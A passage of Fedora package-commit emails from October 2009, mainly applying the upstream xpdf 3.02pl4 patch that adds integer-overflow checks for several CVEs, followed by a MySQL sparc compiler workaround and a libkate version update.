 License: GPLv2
 Epoch: 1
 Url: http://www.foolabs.com/xpdf/
@@ -52,6 +52,7 @@ Patch20: xpdf-3.02-mousebuttons_view.pat
 Patch100: xpdf-3.02pl1.patch
 Patch101: ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.02pl2.patch
 Patch102: ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.02pl3.patch
+Patch103: ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.02pl4.patch
 
 # Debian patches
 Patch200: 02_permissions.dpatch
@@ -117,6 +118,7 @@ standard X fonts.
 %patch100 -p1 -b .security
 %patch101 -p1 -b .security2
 %patch102 -p1 -b .security3
+%patch103 -p1 -b .security4
 
 # debian patches
 %patch200 -p1 -b .permissions
@@ -271,6 +273,11 @@ update-desktop-database &> /dev/null ||:
 %{_datadir}/xpdf/latin2
 
 %changelog
+* Fri Oct 16 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1:3.02-15
+- apply xpdf-3.02pl4 security patch to fix:
+  CVE-2009-3603, CVE-2009-3604, CVE-2009-3605, CVE-2009-3606
+  CVE-2009-3608, CVE-2009-3609
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:3.02-14
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From spot at fedoraproject.org  Fri Oct 16 20:46:12 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Fri, 16 Oct 2009 20:46:12 +0000 (UTC)
Subject: rpms/xpdf/F-11 xpdf-3.02pl4.patch,NONE,1.1 xpdf.spec,1.16,1.17
Message-ID: <20091016204612.08F0F11C00E5@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/xpdf/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29746/F-11

Modified Files:
	xpdf.spec 
Added Files:
	xpdf-3.02pl4.patch 
Log Message:
3.02pl4

xpdf-3.02pl4.patch:
 splash/SplashBitmap.cc              |   35 +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 xpdf-3.02/splash/Splash.cc          |   13 +!!!!!!!!!!!!
 xpdf-3.02/splash/SplashErrorCodes.h |    2 ++
 xpdf/PSOutputDev.cc                 |    2 !!
 xpdf/Stream.cc                      |    4 ++++
 xpdf/XRef.cc                        |   18 +++++++++++++++++-
 6 files changed, 25 insertions(+), 1 deletion(-), 48 modifications(!)

--- NEW FILE xpdf-3.02pl4.patch ---
*** xpdf-3.02.orig/xpdf/Stream.cc	Fri Jul 24 14:30:46 2009
--- xpdf-3.02/xpdf/Stream.cc	Mon Oct  5 11:07:49 2009
***************
*** 323,328 ****
--- 323,332 ----
    } else {
      imgLineSize = nVals;
    }
+   if (width > INT_MAX / nComps) {
+     // force a call to gmallocn(-1,...), which will throw an exception
+     imgLineSize = -1;
+   }
    imgLine = (Guchar *)gmallocn(imgLineSize, sizeof(Guchar));
    imgIdx = nVals;
  }
*** xpdf-3.02.orig/xpdf/PSOutputDev.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/xpdf/PSOutputDev.cc	Fri Oct  2 12:38:58 2009
***************
*** 4301,4307 ****
  	     width, -height, height);
  
    // allocate a line buffer
!   lineBuf = (Guchar *)gmalloc(4 * width);
  
    // set up to process the data stream
    imgStr = new ImageStream(str, width, colorMap->getNumPixelComps(),
--- 4301,4307 ----
  	     width, -height, height);
  
    // allocate a line buffer
!   lineBuf = (Guchar *)gmallocn(width, 4);
  
    // set up to process the data stream
    imgStr = new ImageStream(str, width, colorMap->getNumPixelComps(),
diff -r -c xpdf-3.02.orig/splash/Splash.cc xpdf-3.02/splash/Splash.cc
*** xpdf-3.02.orig/splash/Splash.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/splash/Splash.cc	Fri Aug 14 14:05:08 2009
***************
*** 12,17 ****
--- 12,18 ----
  
  #include <stdlib.h>
  #include <string.h>
+ #include <limits.h>
  #include "gmem.h"
  #include "SplashErrorCodes.h"
  #include "SplashMath.h"
***************
*** 1912,1918 ****
    xq = w % scaledWidth;
  
    // allocate pixel buffer
!   pixBuf = (SplashColorPtr)gmalloc((yp + 1) * w);
  
    // initialize the pixel pipe
    pipeInit(&pipe, 0, 0, state->fillPattern, NULL, state->fillAlpha,
--- 1913,1922 ----
    xq = w % scaledWidth;
  
    // allocate pixel buffer
!   if (yp < 0 || yp > INT_MAX - 1) {
!     return splashErrBadArg;
!   }
!   pixBuf = (SplashColorPtr)gmallocn(yp + 1, w);
  
    // initialize the pixel pipe
    pipeInit(&pipe, 0, 0, state->fillPattern, NULL, state->fillAlpha,
***************
*** 2208,2216 ****
    xq = w % scaledWidth;
  
    // allocate pixel buffers
!   colorBuf = (SplashColorPtr)gmalloc((yp + 1) * w * nComps);
    if (srcAlpha) {
!     alphaBuf = (Guchar *)gmalloc((yp + 1) * w);
    } else {
      alphaBuf = NULL;
    }
--- 2212,2223 ----
    xq = w % scaledWidth;
  
    // allocate pixel buffers
!   if (yp < 0 || yp > INT_MAX - 1 || w > INT_MAX / nComps) {
!     return splashErrBadArg;
!   }
!   colorBuf = (SplashColorPtr)gmallocn(yp + 1, w * nComps);
    if (srcAlpha) {
!     alphaBuf = (Guchar *)gmallocn(yp + 1, w);
    } else {
      alphaBuf = NULL;
    }
diff -r -c xpdf-3.02.orig/splash/SplashErrorCodes.h xpdf-3.02/splash/SplashErrorCodes.h
*** xpdf-3.02.orig/splash/SplashErrorCodes.h	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/splash/SplashErrorCodes.h	Fri Aug 14 14:03:46 2009
***************
*** 29,32 ****
--- 29,34 ----
  
  #define splashErrSingularMatrix  8	// matrix is singular
  
+ #define splashErrBadArg          9	// bad argument
+ 
  #endif
*** xpdf-3.02.orig/splash/SplashBitmap.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/splash/SplashBitmap.cc	Wed Aug 19 14:55:39 2009
***************
*** 11,16 ****
--- 11,17 ----
  #endif
  
  #include <stdio.h>
+ #include <limits.h>
  #include "gmem.h"
  #include "SplashErrorCodes.h"
  #include "SplashBitmap.h"
***************
*** 27,56 ****
    mode = modeA;
    switch (mode) {
    case splashModeMono1:
!     rowSize = (width + 7) >> 3;
      break;
    case splashModeMono8:
!     rowSize = width;
      break;
    case splashModeRGB8:
    case splashModeBGR8:
!     rowSize = width * 3;
      break;
  #if SPLASH_CMYK
    case splashModeCMYK8:
!     rowSize = width * 4;
      break;
  #endif
    }
!   rowSize += rowPad - 1;
!   rowSize -= rowSize % rowPad;
!   data = (SplashColorPtr)gmalloc(rowSize * height);
    if (!topDown) {
      data += (height - 1) * rowSize;
      rowSize = -rowSize;
    }
    if (alphaA) {
!     alpha = (Guchar *)gmalloc(width * height);
    } else {
      alpha = NULL;
    }
--- 28,75 ----
    mode = modeA;
    switch (mode) {
    case splashModeMono1:
!     if (width > 0) {
!       rowSize = (width + 7) >> 3;
!     } else {
!       rowSize = -1;
!     }
      break;
    case splashModeMono8:
!     if (width > 0) {
!       rowSize = width;
!     } else {
!       rowSize = -1;
!     }
      break;
    case splashModeRGB8:
    case splashModeBGR8:
!     if (width > 0 && width <= INT_MAX / 3) {
!       rowSize = width * 3;
!     } else {
!       rowSize = -1;
!     }
      break;
  #if SPLASH_CMYK
    case splashModeCMYK8:
!     if (width > 0 && width <= INT_MAX / 4) {
!       rowSize = width * 4;
!     } else {
!       rowSize = -1;
!     }
      break;
  #endif
    }
!   if (rowSize > 0) {
!     rowSize += rowPad - 1;
!     rowSize -= rowSize % rowPad;
!   }
!   data = (SplashColorPtr)gmallocn(height, rowSize);
    if (!topDown) {
      data += (height - 1) * rowSize;
      rowSize = -rowSize;
    }
    if (alphaA) {
!     alpha = (Guchar *)gmallocn(width, height);
    } else {
      alpha = NULL;
    }
*** xpdf-3.02.orig/xpdf/XRef.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/xpdf/XRef.cc	Tue Oct 13 11:57:24 2009
***************
*** 52,57 ****
--- 52,59 ----
    // generation 0.
    ObjectStream(XRef *xref, int objStrNumA);
  
+   GBool isOk() { return ok; }
+ 
    ~ObjectStream();
  
    // Return the object number of this object stream.
***************
*** 67,72 ****
--- 69,75 ----
    int nObjects;			// number of objects in the stream
    Object *objs;			// the objects (length = nObjects)
    int *objNums;			// the object numbers (length = nObjects)
+   GBool ok;
  };
  
  ObjectStream::ObjectStream(XRef *xref, int objStrNumA) {
***************
*** 80,85 ****
--- 83,89 ----
    nObjects = 0;
    objs = NULL;
    objNums = NULL;
+   ok = gFalse;
  
    if (!xref->fetch(objStrNum, 0, &objStr)->isStream()) {
      goto err1;
***************
*** 105,110 ****
--- 109,121 ----
      goto err1;
    }
  
+   // this is an arbitrary limit to avoid integer overflow problems
+   // in the 'new Object[nObjects]' call (Acrobat apparently limits
+   // object streams to 100-200 objects)
+   if (nObjects > 1000000) {
+     error(-1, "Too many objects in an object stream");
+     goto err1;
+   }
    objs = new Object[nObjects];
    objNums = (int *)gmallocn(nObjects, sizeof(int));
    offsets = (int *)gmallocn(nObjects, sizeof(int));
***************
*** 161,170 ****
    }
  
    gfree(offsets);
  
   err1:
    objStr.free();
-   return;
  }
  
  ObjectStream::~ObjectStream() {
--- 172,181 ----
    }
  
    gfree(offsets);
+   ok = gTrue;
  
   err1:
    objStr.free();
  }
  
  ObjectStream::~ObjectStream() {
***************
*** 837,842 ****
--- 848,858 ----
  	delete objStr;
        }
        objStr = new ObjectStream(this, e->offset);
+       if (!objStr->isOk()) {
+ 	delete objStr;
+ 	objStr = NULL;
+ 	goto err;
+       }
      }
      objStr->getObject(e->gen, num, obj);
      break;


Index: xpdf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xpdf/F-11/xpdf.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- xpdf.spec	16 Apr 2009 21:08:10 -0000	1.16
+++ xpdf.spec	16 Oct 2009 20:46:11 -0000	1.17
@@ -1,7 +1,7 @@
 Summary: A PDF file viewer for the X Window System
 Name: xpdf
 Version: 3.02
-Release: 13%{?dist}
+Release: 15%{?dist}
 License: GPLv2
 Epoch: 1
 Url: http://www.foolabs.com/xpdf/
@@ -52,6 +52,7 @@ Patch20: xpdf-3.02-mousebuttons_view.pat
 Patch100: xpdf-3.02pl1.patch
 Patch101: ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.02pl2.patch
 Patch102: ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.02pl3.patch
+Patch103: ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.02pl4.patch
 
 # Debian patches
 Patch200: 02_permissions.dpatch
@@ -117,6 +118,7 @@ standard X fonts.
 %patch100 -p1 -b .security
 %patch101 -p1 -b .security2
 %patch102 -p1 -b .security3
+%patch103 -p1 -b .security4
 
 # debian patches
 %patch200 -p1 -b .permissions
@@ -271,6 +273,14 @@ update-desktop-database &> /dev/null ||:
 %{_datadir}/xpdf/latin2
 
 %changelog
+* Fri Oct 16 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1:3.02-15
+- apply xpdf-3.02pl4 security patch to fix:
+  CVE-2009-3603, CVE-2009-3604, CVE-2009-3605, CVE-2009-3606
+  CVE-2009-3608, CVE-2009-3609
+
+* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:3.02-14
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Apr 16 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1:3.02-13
 - apply xpdf-3.02pl3 security patch to fix:
   CVE-2009-0799, CVE-2009-0800, CVE-2009-1179, CVE-2009-1180



From spot at fedoraproject.org  Fri Oct 16 20:46:12 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Fri, 16 Oct 2009 20:46:12 +0000 (UTC)
Subject: rpms/xpdf/devel xpdf-3.02pl4.patch,NONE,1.1 xpdf.spec,1.17,1.18
Message-ID: <20091016204612.80D6C11C00E6@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/xpdf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29746/devel

Modified Files:
	xpdf.spec 
Added Files:
	xpdf-3.02pl4.patch 
Log Message:
3.02pl4

xpdf-3.02pl4.patch:
 splash/SplashBitmap.cc              |   35 +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 xpdf-3.02/splash/Splash.cc          |   13 +!!!!!!!!!!!!
 xpdf-3.02/splash/SplashErrorCodes.h |    2 ++
 xpdf/PSOutputDev.cc                 |    2 !!
 xpdf/Stream.cc                      |    4 ++++
 xpdf/XRef.cc                        |   18 +++++++++++++++++-
 6 files changed, 25 insertions(+), 1 deletion(-), 48 modifications(!)

--- NEW FILE xpdf-3.02pl4.patch ---
*** xpdf-3.02.orig/xpdf/Stream.cc	Fri Jul 24 14:30:46 2009
--- xpdf-3.02/xpdf/Stream.cc	Mon Oct  5 11:07:49 2009
***************
*** 323,328 ****
--- 323,332 ----
    } else {
      imgLineSize = nVals;
    }
+   if (width > INT_MAX / nComps) {
+     // force a call to gmallocn(-1,...), which will throw an exception
+     imgLineSize = -1;
+   }
    imgLine = (Guchar *)gmallocn(imgLineSize, sizeof(Guchar));
    imgIdx = nVals;
  }
*** xpdf-3.02.orig/xpdf/PSOutputDev.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/xpdf/PSOutputDev.cc	Fri Oct  2 12:38:58 2009
***************
*** 4301,4307 ****
  	     width, -height, height);
  
    // allocate a line buffer
!   lineBuf = (Guchar *)gmalloc(4 * width);
  
    // set up to process the data stream
    imgStr = new ImageStream(str, width, colorMap->getNumPixelComps(),
--- 4301,4307 ----
  	     width, -height, height);
  
    // allocate a line buffer
!   lineBuf = (Guchar *)gmallocn(width, 4);
  
    // set up to process the data stream
    imgStr = new ImageStream(str, width, colorMap->getNumPixelComps(),
diff -r -c xpdf-3.02.orig/splash/Splash.cc xpdf-3.02/splash/Splash.cc
*** xpdf-3.02.orig/splash/Splash.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/splash/Splash.cc	Fri Aug 14 14:05:08 2009
***************
*** 12,17 ****
--- 12,18 ----
  
  #include <stdlib.h>
  #include <string.h>
+ #include <limits.h>
  #include "gmem.h"
  #include "SplashErrorCodes.h"
  #include "SplashMath.h"
***************
*** 1912,1918 ****
    xq = w % scaledWidth;
  
    // allocate pixel buffer
!   pixBuf = (SplashColorPtr)gmalloc((yp + 1) * w);
  
    // initialize the pixel pipe
    pipeInit(&pipe, 0, 0, state->fillPattern, NULL, state->fillAlpha,
--- 1913,1922 ----
    xq = w % scaledWidth;
  
    // allocate pixel buffer
!   if (yp < 0 || yp > INT_MAX - 1) {
!     return splashErrBadArg;
!   }
!   pixBuf = (SplashColorPtr)gmallocn(yp + 1, w);
  
    // initialize the pixel pipe
    pipeInit(&pipe, 0, 0, state->fillPattern, NULL, state->fillAlpha,
***************
*** 2208,2216 ****
    xq = w % scaledWidth;
  
    // allocate pixel buffers
!   colorBuf = (SplashColorPtr)gmalloc((yp + 1) * w * nComps);
    if (srcAlpha) {
!     alphaBuf = (Guchar *)gmalloc((yp + 1) * w);
    } else {
      alphaBuf = NULL;
    }
--- 2212,2223 ----
    xq = w % scaledWidth;
  
    // allocate pixel buffers
!   if (yp < 0 || yp > INT_MAX - 1 || w > INT_MAX / nComps) {
!     return splashErrBadArg;
!   }
!   colorBuf = (SplashColorPtr)gmallocn(yp + 1, w * nComps);
    if (srcAlpha) {
!     alphaBuf = (Guchar *)gmallocn(yp + 1, w);
    } else {
      alphaBuf = NULL;
    }
diff -r -c xpdf-3.02.orig/splash/SplashErrorCodes.h xpdf-3.02/splash/SplashErrorCodes.h
*** xpdf-3.02.orig/splash/SplashErrorCodes.h	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/splash/SplashErrorCodes.h	Fri Aug 14 14:03:46 2009
***************
*** 29,32 ****
--- 29,34 ----
  
  #define splashErrSingularMatrix  8	// matrix is singular
  
+ #define splashErrBadArg          9	// bad argument
+ 
  #endif
*** xpdf-3.02.orig/splash/SplashBitmap.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/splash/SplashBitmap.cc	Wed Aug 19 14:55:39 2009
***************
*** 11,16 ****
--- 11,17 ----
  #endif
  
  #include <stdio.h>
+ #include <limits.h>
  #include "gmem.h"
  #include "SplashErrorCodes.h"
  #include "SplashBitmap.h"
***************
*** 27,56 ****
    mode = modeA;
    switch (mode) {
    case splashModeMono1:
!     rowSize = (width + 7) >> 3;
      break;
    case splashModeMono8:
!     rowSize = width;
      break;
    case splashModeRGB8:
    case splashModeBGR8:
!     rowSize = width * 3;
      break;
  #if SPLASH_CMYK
    case splashModeCMYK8:
!     rowSize = width * 4;
      break;
  #endif
    }
!   rowSize += rowPad - 1;
!   rowSize -= rowSize % rowPad;
!   data = (SplashColorPtr)gmalloc(rowSize * height);
    if (!topDown) {
      data += (height - 1) * rowSize;
      rowSize = -rowSize;
    }
    if (alphaA) {
!     alpha = (Guchar *)gmalloc(width * height);
    } else {
      alpha = NULL;
    }
--- 28,75 ----
    mode = modeA;
    switch (mode) {
    case splashModeMono1:
!     if (width > 0) {
!       rowSize = (width + 7) >> 3;
!     } else {
!       rowSize = -1;
!     }
      break;
    case splashModeMono8:
!     if (width > 0) {
!       rowSize = width;
!     } else {
!       rowSize = -1;
!     }
      break;
    case splashModeRGB8:
    case splashModeBGR8:
!     if (width > 0 && width <= INT_MAX / 3) {
!       rowSize = width * 3;
!     } else {
!       rowSize = -1;
!     }
      break;
  #if SPLASH_CMYK
    case splashModeCMYK8:
!     if (width > 0 && width <= INT_MAX / 4) {
!       rowSize = width * 4;
!     } else {
!       rowSize = -1;
!     }
      break;
  #endif
    }
!   if (rowSize > 0) {
!     rowSize += rowPad - 1;
!     rowSize -= rowSize % rowPad;
!   }
!   data = (SplashColorPtr)gmallocn(height, rowSize);
    if (!topDown) {
      data += (height - 1) * rowSize;
      rowSize = -rowSize;
    }
    if (alphaA) {
!     alpha = (Guchar *)gmallocn(width, height);
    } else {
      alpha = NULL;
    }
*** xpdf-3.02.orig/xpdf/XRef.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/xpdf/XRef.cc	Tue Oct 13 11:57:24 2009
***************
*** 52,57 ****
--- 52,59 ----
    // generation 0.
    ObjectStream(XRef *xref, int objStrNumA);
  
+   GBool isOk() { return ok; }
+ 
    ~ObjectStream();
  
    // Return the object number of this object stream.
***************
*** 67,72 ****
--- 69,75 ----
    int nObjects;			// number of objects in the stream
    Object *objs;			// the objects (length = nObjects)
    int *objNums;			// the object numbers (length = nObjects)
+   GBool ok;
  };
  
  ObjectStream::ObjectStream(XRef *xref, int objStrNumA) {
***************
*** 80,85 ****
--- 83,89 ----
    nObjects = 0;
    objs = NULL;
    objNums = NULL;
+   ok = gFalse;
  
    if (!xref->fetch(objStrNum, 0, &objStr)->isStream()) {
      goto err1;
***************
*** 105,110 ****
--- 109,121 ----
      goto err1;
    }
  
+   // this is an arbitrary limit to avoid integer overflow problems
+   // in the 'new Object[nObjects]' call (Acrobat apparently limits
+   // object streams to 100-200 objects)
+   if (nObjects > 1000000) {
+     error(-1, "Too many objects in an object stream");
+     goto err1;
+   }
    objs = new Object[nObjects];
    objNums = (int *)gmallocn(nObjects, sizeof(int));
    offsets = (int *)gmallocn(nObjects, sizeof(int));
***************
*** 161,170 ****
    }
  
    gfree(offsets);
  
   err1:
    objStr.free();
-   return;
  }
  
  ObjectStream::~ObjectStream() {
--- 172,181 ----
    }
  
    gfree(offsets);
+   ok = gTrue;
  
   err1:
    objStr.free();
  }
  
  ObjectStream::~ObjectStream() {
***************
*** 837,842 ****
--- 848,858 ----
  	delete objStr;
        }
        objStr = new ObjectStream(this, e->offset);
+       if (!objStr->isOk()) {
+ 	delete objStr;
+ 	objStr = NULL;
+ 	goto err;
+       }
      }
      objStr->getObject(e->gen, num, obj);
      break;


Index: xpdf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xpdf/devel/xpdf.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- xpdf.spec	27 Jul 2009 08:41:29 -0000	1.17
+++ xpdf.spec	16 Oct 2009 20:46:12 -0000	1.18
@@ -1,7 +1,7 @@
 Summary: A PDF file viewer for the X Window System
 Name: xpdf
 Version: 3.02
-Release: 14%{?dist}
+Release: 15%{?dist}
 License: GPLv2
 Epoch: 1
 Url: http://www.foolabs.com/xpdf/
@@ -52,6 +52,7 @@ Patch20: xpdf-3.02-mousebuttons_view.pat
 Patch100: xpdf-3.02pl1.patch
 Patch101: ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.02pl2.patch
 Patch102: ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.02pl3.patch
+Patch103: ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.02pl4.patch
 
 # Debian patches
 Patch200: 02_permissions.dpatch
@@ -117,6 +118,7 @@ standard X fonts.
 %patch100 -p1 -b .security
 %patch101 -p1 -b .security2
 %patch102 -p1 -b .security3
+%patch103 -p1 -b .security4
 
 # debian patches
 %patch200 -p1 -b .permissions
@@ -271,6 +273,11 @@ update-desktop-database &> /dev/null ||:
 %{_datadir}/xpdf/latin2
 
 %changelog
+* Fri Oct 16 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1:3.02-15
+- apply xpdf-3.02pl4 security patch to fix:
+  CVE-2009-3603, CVE-2009-3604, CVE-2009-3605, CVE-2009-3606
+  CVE-2009-3608, CVE-2009-3609
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:3.02-14
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Fri Oct 16 20:50:20 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Fri, 16 Oct 2009 20:50:20 +0000 (UTC)
Subject: rpms/mysql/F-12 mysql-sparc-gcc-bug.patch, NONE, 1.1 my_config.h,
	1.3, 1.4 mysql.spec, 1.130, 1.131 ndb_types.h, 1.1, 1.2
Message-ID: <20091016205020.77C2511C029F@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mysql/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30462

Modified Files:
	my_config.h mysql.spec ndb_types.h 
Added Files:
	mysql-sparc-gcc-bug.patch 
Log Message:
sync sparc fixes from devel


mysql-sparc-gcc-bug.patch:
 DbaccMain.cpp |   10 +++-------
 1 file changed, 3 insertions(+), 7 deletions(-)

--- NEW FILE mysql-sparc-gcc-bug.patch ---
This is a temporary workaround for what is surely a gcc bug on Sparc.
Submitted as bz #529299


diff -Naur mysql-5.1.39.orig/storage/ndb/src/kernel/blocks/dbacc/DbaccMain.cpp mysql-5.1.39/storage/ndb/src/kernel/blocks/dbacc/DbaccMain.cpp
--- mysql-5.1.39.orig/storage/ndb/src/kernel/blocks/dbacc/DbaccMain.cpp	2009-09-04 12:21:16.000000000 -0400
+++ mysql-5.1.39/storage/ndb/src/kernel/blocks/dbacc/DbaccMain.cpp	2009-10-15 22:19:07.000000000 -0400
@@ -8538,11 +8538,7 @@
   default:
     tmp = 0;
   }
-  memcpy(signal->theData, &tmp, 8); /* must be memcpy, gives strange results on
-				     * ithanium gcc (GCC) 3.4.1 smp linux 2.4
-				     * otherwise
-				     */
-  //  Uint32 * src = (Uint32*)&tmp;
-  //  signal->theData[0] = src[0];
-  //  signal->theData[1] = src[1];
+  Uint32 * src = (Uint32*)&tmp;
+  signal->theData[0] = src[0];
+  signal->theData[1] = src[1];
 }


Index: my_config.h
===================================================================
RCS file: /cvs/pkgs/rpms/mysql/F-12/my_config.h,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- my_config.h	15 Dec 2005 17:04:25 -0000	1.3
+++ my_config.h	16 Oct 2009 20:50:20 -0000	1.4
@@ -4,13 +4,14 @@
  * identical.  Hence, this file is architecture-independent and calls
  * in an arch-dependent file that will appear in just one RPM.
  *
+ * To avoid breaking arches not explicitly supported by Red Hat, we
+ * use this indirection file *only* on known multilib arches.
+ *
  * Note: this may well fail if user tries to use gcc's -I- option.
  * But that option is deprecated anyway.
  */
 #if defined(__x86_64__)
 #include "my_config_x86_64.h"
-#elif defined(__ia64__)
-#include "my_config_ia64.h"
 #elif defined(__i386__)
 #include "my_config_i386.h"
 #elif defined(__ppc64__) || defined(__powerpc64__)
@@ -21,4 +22,8 @@
 #include "my_config_s390x.h"
 #elif defined(__s390__)
 #include "my_config_s390.h"
+#elif defined(__sparc__) && defined(__arch64__)
+#include "my_config_sparc64.h"
+#elif defined(__sparc__)
+#include "my_config_sparc.h"
 #endif


Index: mysql.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mysql/F-12/mysql.spec,v
retrieving revision 1.130
retrieving revision 1.131
diff -u -p -r1.130 -r1.131
--- mysql.spec	23 Sep 2009 23:32:00 -0000	1.130
+++ mysql.spec	16 Oct 2009 20:50:20 -0000	1.131
@@ -1,6 +1,6 @@
 Name: mysql
 Version: 5.1.39
-Release: 2%{?dist}
+Release: 3%{?dist}
 Summary: MySQL client programs and shared libraries
 Group: Applications/Databases
 URL: http://www.mysql.com
@@ -33,6 +33,7 @@ Patch7: mysql-plugin-bug.patch
 Patch8: mysql-setschedparam.patch
 Patch9: mysql-ndb-stacksize.patch
 Patch10: mysql-strmov.patch
+Patch11: mysql-sparc-gcc-bug.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 BuildRequires: gperf, perl, readline-devel, openssl-devel
@@ -176,6 +177,7 @@ the MySQL sources.
 %patch8 -p1
 %patch9 -p1
 %patch10 -p1
+%patch11 -p1
 
 libtoolize --force
 aclocal
@@ -190,6 +192,11 @@ CFLAGS="%{optflags} -D_GNU_SOURCE -D_FIL
 CFLAGS="$CFLAGS -fno-strict-aliasing -fwrapv"
 # force PIC mode so that we can build libmysqld.so
 CFLAGS="$CFLAGS -fPIC"
+# gcc seems to have some bugs on sparc as of 4.4.1, back off optimization
+# submitted as bz #529298
+%ifarch sparc sparcv9 sparc64
+CFLAGS=`echo $CFLAGS| sed -e "s|-O2|-O1|g" `
+%endif
 # extra C++ flags as per recommendations in mysql's INSTALL-SOURCE doc
 CXXFLAGS="$CFLAGS -felide-constructors -fno-rtti -fno-exceptions"
 export CFLAGS CXXFLAGS
@@ -263,7 +270,7 @@ rm -rf $RPM_BUILD_ROOT
 # multilib header hacks
 # we only apply this to known Red Hat multilib arches, per bug #181335
 case `uname -i` in
-  i386 | x86_64 | ppc | ppc64 | s390 | s390x | sparc | sparcv9 | sparc64 )
+  i386 | x86_64 | ppc | ppc64 | s390 | s390x | sparc | sparc64 )
     mv $RPM_BUILD_ROOT/usr/include/mysql/my_config.h $RPM_BUILD_ROOT/usr/include/mysql/my_config_`uname -i`.h
     install -m 644 %{SOURCE5} $RPM_BUILD_ROOT/usr/include/mysql/
     mv $RPM_BUILD_ROOT/usr/include/mysql/storage/ndb/ndb_types.h $RPM_BUILD_ROOT/usr/include/mysql/storage/ndb/ndb_types_`uname -i`.h
@@ -642,6 +649,13 @@ fi
 %{_mandir}/man1/mysql_client_test.1*
 
 %changelog
+* Thu Oct 15 2009 Tom Lane <tgl at redhat.com> 5.1.39-3
+- Work around two different compiler bugs on sparc, one by backing off
+  optimization from -O2 to -O1, and the other with a klugy patch
+Related: #529298, #529299
+- Clean up bogosity in multilib stub header support: ia64 should not be
+  listed (it's not multilib), sparc and sparc64 should be
+
 * Wed Sep 23 2009 Tom Lane <tgl at redhat.com> 5.1.39-2
 - Work around upstream bug 46895 by disabling outfile_loaddata test
 


Index: ndb_types.h
===================================================================
RCS file: /cvs/pkgs/rpms/mysql/F-12/ndb_types.h,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ndb_types.h	27 Jul 2008 17:54:30 -0000	1.1
+++ ndb_types.h	16 Oct 2009 20:50:20 -0000	1.2
@@ -22,4 +22,8 @@
 #include "ndb_types_s390x.h"
 #elif defined(__s390__)
 #include "ndb_types_s390.h"
+#elif defined(__sparc__) && defined(__arch64__)
+#include "ndb_types_sparc64.h"
+#elif defined(__sparc__)
+#include "ndb_types_sparc.h"
 #endif



From kwizart at fedoraproject.org  Fri Oct 16 21:28:03 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Fri, 16 Oct 2009 21:28:03 +0000 (UTC)
Subject: rpms/libkate/devel .cvsignore, 1.4, 1.5 sources, 1.4,
	1.5 libkate.spec, 1.6, 1.7
Message-ID: <20091016212803.6FF6311C00E5@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/libkate/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5455

Modified Files:
	.cvsignore sources libkate.spec 
Log Message:
Update to 0.3.6



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libkate/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	8 Jul 2009 12:17:44 -0000	1.4
+++ .cvsignore	16 Oct 2009 21:28:03 -0000	1.5
@@ -1 +1 @@
-libkate-0.3.4.tar.gz
+libkate-0.3.6.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libkate/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	8 Jul 2009 12:17:44 -0000	1.4
+++ sources	16 Oct 2009 21:28:03 -0000	1.5
@@ -1 +1 @@
